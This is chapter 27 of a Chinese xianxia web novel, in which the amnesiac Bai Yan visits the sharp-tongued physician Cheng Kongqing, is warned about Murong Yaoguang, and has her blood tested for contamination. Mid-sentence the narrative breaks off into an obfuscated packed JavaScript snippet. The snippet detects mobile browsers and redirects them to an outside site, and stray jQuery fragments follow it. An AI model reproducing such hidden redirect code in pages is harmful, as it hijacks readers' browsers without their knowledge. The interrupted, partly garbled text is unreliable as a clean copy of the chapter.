27. 金乌皝(十)

作品:《仙门走狗悄悄成神

    “啊?……”小药童不解,这会儿他也顺着程空青的目光望出去,看见竹篱外,有两个人站在那里。其中一人穿着金乌皝宫人服制,另外一人,身长七尺,白发如鬃,一身白衣上沾染的大片血迹如一朵燃烧的花,一张冷漠清俊的脸上,一双眼睛,锋利静定。


    “……赤睛大人!”小药童也很惊讶!他先前听人说赤睛大人被派去了春墟神煞,本以为她必定不能再回来了。


    此时,那个金乌皝宫人高声向内中道:“金乌皝赤睛大人,请见程大夫。”


    程空青皱一下眉,向小药童道:“你去转告赤睛大人,我这待尽庐,人可进得,狗进不得。”


    “这……”小药童满脸为难,猜想师尊是不是为了熬错药的事情故意为难自己呢……


    但他也没胆违逆师尊的命令,只得硬着头皮去开了条门缝,犹犹豫豫地挤在门里面,无法委婉地向外面二人传了这话。


    白焰一愣怔……她还记得在神煞里,崔七说自己和赫连静粼一起被称作“金乌双犬”的事情。


    敢情这是直接骂上人了?……


    但好在白焰脸皮够厚,此刻,她又瞥一眼紫藤花架下的那女子一眼,轻咳一声,礼貌向门内小童道:“如此,便请通禀你家师尊,白焰眼下非人非狗,不过是拖着半条残命的鬼魂,等着有药师菩萨替我超生。”


    一旁的秋蝉因她的话默默睁圆了眼睛。


    “……请等一下,我回去通禀。”


    小药童回去将这话告知给程空青。程空青闻言眉头蹙得更紧,急迫道:“快叫她进来。”


    打狗也要看主人。白焰猜想对方即便侮辱自己也不至于当真将自己拒之门外,是以对这个结果并不十分意外。此刻她正欲进入,却先触碰到了眼前透明的一道障碍。


    又是这结界……看来这已经算是日御神宫内标配的安保系统了……白焰心下吐槽着,缘由程空青已经同意自己进去,这会儿她往结界壁上输入灵力,直接抬脚进入。但她身后的秋蝉,却被结界拦在了外面。


    “师尊只请赤睛大人一人进去。”小药童道。


    如此,白焰便向秋蝉道:“你既已完成任务,回去复命吧。”


    秋蝉有些犹豫,但还是点一点头。


    白焰进入时,程空青依然躺在椅子上未起身。她目光一直落在白焰身上,直到白焰走到眼前,才咬了牙一冷笑,道:“恕空青眼拙,白师妹这般生龙活虎,竟是比去神煞前还要好些,哪里也看不出要入土的样子。”


    近处看,紫藤萝细碎的光影衬得她更沉静文雅,她语气也柔和沉缓,说话内容却称不上太友善。


    此刻,白焰随着药童引导,隔着一张矮案,在程空青身旁坐下,故意道:“程大夫有所不知,我自春墟解了神煞归来,有一枚血赤石自眉心进入我身体。虽然外表看着无事,内里可不知道了。”


    程空青闻言一瞬变了脸色,即刻从躺椅上弹坐起来,“你解了春墟神煞?”她面色凝重,甚至有些难以置信。


    “只是侥幸。”白焰坦然道:“少宫主忧心我身体有恙,特地要我来寻你验诊。”


    “……少宫主?”程空青满脸荒唐地喃喃着,嗤笑出声。这会儿她一面叫身旁药童去打一碗水来,一面转头向白焰道:“慕容摇光叫你做什么你便做什么,还说你不是条狗?”


    这就非常不留情面了。


    但白焰却有些意外,只因对方言辞里,较之辱骂自己,似乎更不满自己对于摇光的言听计从……


    她开始怀疑自己是不是弄错了一件事情,于是继续厚着脸皮道:“少宫主只是在关心我。”


    “……关心你?”程空青脸上笑意更明显些,及至忍不住羽扇遮脸哈哈大笑起来,“就算要自欺欺人,也好歹梦些实际的。还是说,神煞侵蚀了你的脑子,让你变成了精神错乱的魍魉?”


    白焰这会儿定定望着程空青,确认了自己刚才的想法:原主与她,关系的确不差。


    这不止因为自己能够进入殆尽庐的结界,或是程空青对于自己顺从摇光的不满……更因为,她那双琥珀色的眼睛里,此刻满是难以理解与怒其不争,却并没有半分对于白焰的轻蔑、厌憎。


    如此,白焰稍稍放松了一些,道:“也可能是因为我失忆了。”


    “……失忆?”程空青这会儿惊讶又恍然,失忆的确可以解释她从进门以来表现出来的违和。此刻程空青拉过白焰的左手诊脉,并没有发现她的颅脑有什么异常。她又按着手指诊断起其他部位,过程里她目光不断落在白焰身上,脸上表情从怀疑、困惑,渐渐变程匪夷所思。


    半晌,她收回诊脉的手,向白焰道:“你在春墟神煞得到了自愈的术法?”


    “……这你都能诊出来?!”白焰这真的惊讶,一瞬甚至心跳骤停,感到了些微的恐惧。她很担心,这位“神医”也可以看出自己还有其他隐瞒的能力。


    “你的小指断了,只有这么几天,不至于恢复到这种程度。”程空青摇着扇子,用看白痴的表情向她解释:“而且,上回摇光催动金乌黥纹惩戒你,使你金丹破损,经脉枯萎,以我之能,费尽心机医了两个多月也不过恢复五六成,你此番回来,却竟已经痊愈。除了神煞里得到的术法,难不成还能遇上个比我更有本事的神医。”


    她咬牙说着,显然是对这一荒唐的假设难以容忍。


    白焰这会儿为自己的多虑松了口气。但是,金丹破损,经脉枯萎……她现在知道原主消失的两个月去了哪里了……


    而且,这金乌黥纹还在自己额上一日,就意味着摇光随时可以这种程度地毁坏自己的身体,甚至杀死自己!!……


    一旦想到这里,白焰全身被一阵混合着怒意的恐惧笼罩,她原本已经按捺下去的杀意一瞬又炽烈起来。


    程空青看着白焰逐渐凝重的神色,犹豫了一会儿,还是道:“我不知道慕容摇光都与你说了些什么,但……他绝不是你可以信任,托付安危的人。”


    她说这话,语气颇郑重,却也带着几分戳破真相的不忍……


    如若白焰在来此处之前没有看见苏秀林的断腿,没有看见摇光怎样地虐杀邬若梅……那她此刻必定会感到当头棒喝,难以置信。


    然而实际上,她只是沉静地低着头,问程空青,“少宫主为什么要惩罚我?”


    “……我无法回答你。”程空青望了她一会儿,遗憾地摇摇头,“待尽庐只是医馆,我于你而言,也只是个大夫。”


    所以原主与她,也并没有白焰原本预想中的那般无话不谈……


    该说这也是理所当然的吧,被摇光这般拢在手心之中,原主与谁亲密,便是将谁竖成靶子……


    “不过,在我为你补丹续脉的时候,你意识不清,说过一句梦话。”程空青道。


    “我说什么?”


    “你说,‘他答应让我去神煞……’”


    程空青至今都还记得,白焰那时满身冷汗,忍耐着剧痛不住地颤抖,当她说出这句话的时,她闭着的眼睛不住地落泪,面上却有几分得偿所愿的释然。


    那时候,程空青以为受不了慕容摇光折磨的白焰终于崩溃着想要寻死。她心下理解,却为自己一直不肯放弃救她感到一阵的绝望与自厌。


    然而此刻,坐在她面前的白焰矫健、锋芒,似乎彻底剥离了原来的死气,甚至比自己刚认识她时更加生机勃勃。


    这是失忆的功劳?……程空青莫名地想,她原本甚至都已经做好了白焰不会再回来的准备……


    只是这一次,结果会有什么不一样吗?


    白焰为这梦话颇有些意外,她回想起先前摇光说原主执意要脱离金乌皝,加入吉神院的事情,难道这竟然有可能会是真的?


    如果是真的,原主又为什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199789|194979||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要这样做?……


    这时候,小药童终于颤颤巍巍端来一碗清水,程空青嫌弃地嘲讽他,“你这是去烧窑做了口碗来装这水吗?”


    小药童吐一下舌头放下碗就跑了。


    程空青自袖中掏出一个小药瓶,倒了些白色药粉融在其中,这会儿自工具箱里取出一根银针,再牵过白焰左手,要刺她手指。


    “做什么?”白焰下意识地抗拒这类似电视剧里滴血验亲的行为,她莫名担心程空青有办法测验自己的身份,于是欲将手缩回去。


    但程空青道:“你不是来验证的吗?不拿结果,如何回去向你主子交代?”


    如此,白焰不再动了,却依然有些紧张。她看着自己的血滴进依然清透的水中,圆圆的一滴,并不扩散,反而紧紧凝结着,半晌被那碗震动的水“吐”出来,滴到一旁的矮案上。


    “……什么意思?”白焰虽然看不懂,却莫名感到一丝不爽。


    “说明你的血液清明,并没有被神煞污染的迹象。”程空青说着,轻微松一口气。


    “那如果被污染,会怎么样?”


    “刚才我撒进这碗水中的,是我师尊李慈藏研制的‘净业散’。如若你真的被污染,这滴血就会成为发动‘净业散’的引子,使它反追到你体内,瞬息便可使你形销迹灭。”


    程空青像只是介绍普通药方一般,弯了眼,猫一般地微微一笑,“实际上神宫的结界上就有这些药粉,低阶的魍魉根本不可能进入。”


    白焰自她亲和的笑容里觉出些瘆人的意味,即便她对自己抱着几分善意,面对神煞污染,却绝无半分心软袒护的意思,这使得白焰脊背发寒,为自己刚才的轻信心有余悸。


    “这次没事只是侥幸。”程空青此刻边收拾着银针,边向白焰道:“神煞的污染会随着接触累积,且不可逆。一旦被污染,最终必定会疯化成为无理智的‘魍魉’。以后小心,轻易不要再进神煞,更不要为了术法想着去获取其他血赤石,否则迟早,这‘净业散’还是会在你身上会起效果。”


    神煞的污染会随着接触累积,且不可逆……这般凶险,怪不得神州八年无人解过神煞……白焰回想起先前从谢玦和摇光那里听到的讯息,此时问程空青:“泪宫主为什么结茧闭关?不会是被神煞污染了吧?”


    程空青抬眼看了白焰一眼,随后继续收拾东西,“这不是该问我的问题,我只是个大夫。”


    白焰离开待尽庐的时候,回望着那二层小筑外笼罩的透明结界,在想从刚才进入时她就一直好奇的一个问题:这结界能否阻拦摇光对于自己的窥伺?


    从自己与程空青的谈话来看,似乎是不能。


    虽然程空青言语间并没有掩饰对于摇光的不屑和对自己的警告,但这更可能只是因为她桀骜毒舌的个性,或是她有作为药神亲传弟子的底气。


    而原主,即便与程空青关系不差,却从来没有向她透露过自己的事情。这可能是不想牵连于人,也可能是因为环境不够安全;


    程空青亦是同样。她以“大夫”身份自居,表现得与白焰并无私交。在与神煞相关的情报上,同样缄口不言,相当克制。


    但看纷纷院里发生的事情来看,情况似乎又有所不同。


    即便摇光拥有进入纷纷院的权限,可自己前夜与黑影的对话,他却似乎并不知情。


    这也是今日最使白焰捏一把汗的事情。否则。以摇光个性,单只黑影笃定自己并非原主这点,便可叫自己扒一层皮!!


    还是说……白焰此刻凝望着正被自己踩在脚下的影子,突然有了一个想法。


    她并不知道摇光是在用何种方式监视自己,也不知道这黑影这在日御神宫是何种身份……那么有没有可能,摇光派来监视自己的人,其实就是黑影?


    这个可怕的念头如一道惊雷,劈得白焰霎时全身震颤着,寒毛倒竖!